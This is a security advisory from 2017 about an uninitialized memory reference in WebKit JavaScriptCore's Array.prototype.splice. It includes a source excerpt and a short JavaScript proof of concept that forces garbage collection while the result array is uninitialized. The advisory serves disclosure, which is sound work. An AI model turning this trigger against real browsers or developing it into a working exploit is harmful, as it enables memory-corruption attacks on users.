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WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

Posted on 25 July 2017

WebKit: JSC: uninitialized memory reference in arrayProtoFuncSplice

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...

result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (UNLIKELY(!result)) {
throwOutOfMemoryError(exec, scope);
return encodedJSValue();
}

// The result can have an ArrayStorage indexing type if we're having a bad time.
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
bool success = false;
if (UNLIKELY(isArrayStorage)) {
static const bool needToFillHolesManually = true;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
} else {
ASSERT(hasUndecided(result->indexingType()));
static const bool needToFillHolesManually = false;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
}
if (UNLIKELY(!success)) {
ASSERT(scope.exception());
return encodedJSValue();
}
...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
function gc() {
for (let i = 0; i < 4; i++)
new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
let x = {length: 0x10};
x.__defineGetter__(0, () => gc());
Array.prototype.splice.call(x, 0);
}

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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